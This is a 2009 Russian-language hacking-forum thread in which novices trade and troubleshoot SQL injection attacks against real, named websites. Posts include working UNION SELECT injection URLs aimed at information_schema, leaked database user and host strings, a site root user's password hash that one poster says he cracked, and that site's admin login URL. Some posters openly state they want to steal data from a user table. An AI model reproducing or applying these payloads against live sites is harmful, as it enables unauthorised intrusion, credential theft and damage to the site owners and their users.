 |
|
03.09.2009, 01:00
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 3
С нами:
8872816
Репутация:
-4
|
|
вот нашёл
code:
http://www.poznay-mir.ru/hotel.php?uid=1422'
Цитата:
Для этого после цифры которая следует после ID ввести команду
order+by+10/*
Вставил так
code:
http://www.poznay-mir.ru/hotel.php?uid=1422'order+by+10/*
Хмм..и чё то не вылазит ошибка таблицы.Почему-так? помогите лузеру? |
|
|
06.09.2009, 01:00
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 3
С нами:
8872816
Репутация:
-4
|
|
|
|
|
|
20.09.2009, 01:00
|
|
Новичок
Регистрация: 08.07.2009
Сообщений: 23
С нами:
8865686
Репутация:
0
|
|
Гы ну чтож начал я с определения количества таблиц их 21 ,потом я смарел их названия
Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):
У вас нет прав чтобы видеть скрытый текст, который находится здесь
после я узнавал названия колонок но у мя не получается
Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):
У вас нет прав чтобы видеть скрытый текст, который находится здесь
и тут я остановилсо=(
|
|
|
|
20.09.2009, 01:00
|
|
Новичок
Регистрация: 08.07.2009
Сообщений: 23
С нами:
8865686
Репутация:
0
|
|
А почему в статье ни чего не сказано про команду limit?=( объясните через нее на угад надо находить талицу юзверей или как я чета не доганю?)
Гы и в чем моя ошибка када я хачу вывести названи колонок из таблы=(вот ссыль
Скрытый текст (вы должны быть авторизованы и иметь 10 сообщений):
У вас нет прав чтобы видеть скрытый текст, который находится здесь
Ram0nlord снизи хайд до 20 пл3
|
|
|
|
20.09.2009, 01:00
|
|
Новичок
Регистрация: 08.07.2009
Сообщений: 23
С нами:
8865686
Репутация:
0
|
|
Цитата:
column_n ame
Ram0nlord это с форумом чета нето,я писал без пробела)
Оо как огрничений на вывод нету?))а почемму када я составляю запрос на вывод таблиц вылазиет тока 1 таблица,тонее имя её)
гы и еше я нашол там таблицу user,составляю запрос чтобы выкрасть инфу отуда но ошибку выдает=(
|
|
|
|
21.10.2009, 01:00
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 3
С нами:
8872816
Репутация:
-4
|
|
Цитата:
code:
http://www.voyage-luxe.ru/new/news/archives.php?uid=-2447+union+select+1,table_name,3,4,5,6,7,8,9,10,11 ,12,13,14,15+from+information_schema.tables+limit+ ?,1--
5.0.77:voyage:root@zvm19
Цитата:
code:
http://www.stroika.md/news_db/shablon_company.php?id=-3796+union+select+1,2,table_name,4,5,6,7,8+from+in formation_schema.tables+limit+?,1--
5.0.54-log:zapas:ggs1950@localhost
Где указан ? просьба помочь!!!
не могу подобрать число к таблице |
|
|
|
28.10.2009, 01:00
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 3
С нами:
8872816
Репутация:
-4
|
|
Странно чё-то с этим www.poznay-mir.ru
нашёл юзера root
и пасс зашифрованый
Цитата:
856CD78A9BDB55DA3D32F14FFA42750B9BB8FAC0
когда прогнал по базам хэш нашел пароль
Скрытый текст (вы должны быть авторизованы и иметь 50 сообщений):
У вас нет прав чтобы видеть скрытый текст, который находится здесь
потом зашел в админку
http://www.poznay-mir.ru/admin/index.php
проверил и не подошло((( |
|
|
|
28.10.2009, 01:00
|
|
Новичок
Регистрация: 25.10.2009
Сообщений: 25
С нами:
8708726
Репутация:
0
|
|
У меня вопрос я все делаю но на 2 шаге у меня не выдает номер таблице:bomb:
вот посмотрите может я че не то делаю((((
HTML highlight
Код:
http://www.poznay-mir.ru/about.php?uid=13%20union%20select%201,2,3,4,5
=============================================
:bomb::bomb::bomb::bomb::bomb::bomb: |
|
|
|
28.10.2009, 01:00
|
|
Новичок
Регистрация: 25.10.2009
Сообщений: 25
С нами:
8708726
Репутация:
0
|
|
Цитата:
Сообщение от Ram0nlord
*** скрытый текст ***
Это значит,что табл 5
*** скрытый текст ***
цифра с которой будешь работать))далее нетрудно определить версию,подскажу,версия 5 - то есть доступна information_schema
А как ты узнал??????
Я там не чего не видел......
((((((((((
Добавлено через 1 минуту
выложи скрин если моешь....
|
|
|
|
28.10.2009, 01:00
|
|
Новичок
Регистрация: 25.10.2009
Сообщений: 25
С нами:
8708726
Репутация:
0
|
|
Цитата:
Сообщение от Ram0nlord
глупый вопрос..курил книги,маны и видосы))
нет,немогу,советую почитать статьи от Тохи и посмотреть его видосы(всё найдёшь в этом же разделе)
Вот смотри че он у меня выводит
=======================================
Вот где здесь номер табл. как на видео ТОХИ
вот я и спросил как ты узнал
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
